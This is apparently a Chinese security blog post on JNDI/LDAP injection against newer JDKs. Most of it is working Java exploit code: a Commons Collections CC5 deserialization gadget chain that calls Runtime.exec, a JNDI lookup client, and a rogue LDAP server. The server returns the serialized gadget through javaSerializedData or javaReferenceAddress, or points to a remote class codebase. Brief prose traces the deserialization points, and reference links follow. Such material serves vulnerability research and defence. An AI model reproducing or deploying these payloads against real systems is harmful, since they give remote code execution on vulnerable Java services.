import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
public static void main(String[] args) throws Exception {
byte[] o1 = getpayload();
}
static byte[] getpayload() throws Exception {
InvokerTransformer invokerTransformer2 = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"});
InvokerTransformer invokerTransformer1 = new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null});
InvokerTransformer invokerTransformer = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null});
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Transformer[] transformers=new Transformer[]{constantTransformer,invokerTransformer,invokerTransformer1,invokerTransformer2};
Transformer keyTransformer = new ChainedTransformer(transformers);

LazyMap fistrmap = (LazyMap) LazyMap.decorate(new HashMap(),keyTransformer);
fistrmap.put("fistrmap",1111);
TiedMapEntry tiedMapEntry = new TiedMapEntry(fistrmap,"nono");

Class<?> aClass = Class.forName("javax.management.BadAttributeValueExpException");
Constructor<?> o = aClass.getDeclaredConstructor(Object.class);
o.setAccessible(true);
Object o1 = o.newInstance(11);

Field val = aClass.getDeclaredField("val");
val.setAccessible(true);
val.set(o1, tiedMapEntry);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o1);
oos.flush();
byte[] serializedData = bos.toByteArray();
return serializedData;
}
}

Copy
package LDAP;

import javax.naming.InitialContext;

public class JNDIClient {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/test");
}
}

最后到到 readObject 进行反序列化，var0 就是序列化数据

反序列化 2

除了上面 if 处存在反序列化，Obj#decodeObject​后面还有一处存在反序列化:

进入decodeReference,

在低版本 jdk 中也分析过这里，包装了一个包含远程恶意类的 Reference 对象，然后 lookup 进行远程加载，这里主要是后面存在反序列化的点:

成功反序列化

poc

Copy
package LDAP;

import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import sun.misc.BASE64Encoder;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
private static final String LDAP_BASE = "dc=ldap";

public static void main (String[] args) {

String url = "http://127.0.0.1:8080/#evilObject";
int port = 1389;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());

// Payload2: 返回序列化 Gadget
// try {
// e.addAttribute("javaSerializedData", CC5.getpayload());
// } catch (Exception exception) {
// exception.printStackTrace();
// }

// Payload3: 返回序列化 Gadget
e.addAttribute("javaClassName", "foo");
try {
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(CC5.getpayload()));
} catch (Exception ex) {
throw new RuntimeException(ex);
}
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

参考文献

https://m0d9.me/2021/12/17/JNDI-RMI-LDAP%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E9%80%86%E5%90%91%E5%88%86%E6%9E%90

https://exp10it.io/2022/12/jndi-injection/#%E7%BB%95%E8%BF%87%E9%AB%98%E7%89%88%E6%9C%AC-jdk-%E9%99%90%E5%88%B6

zjj

‍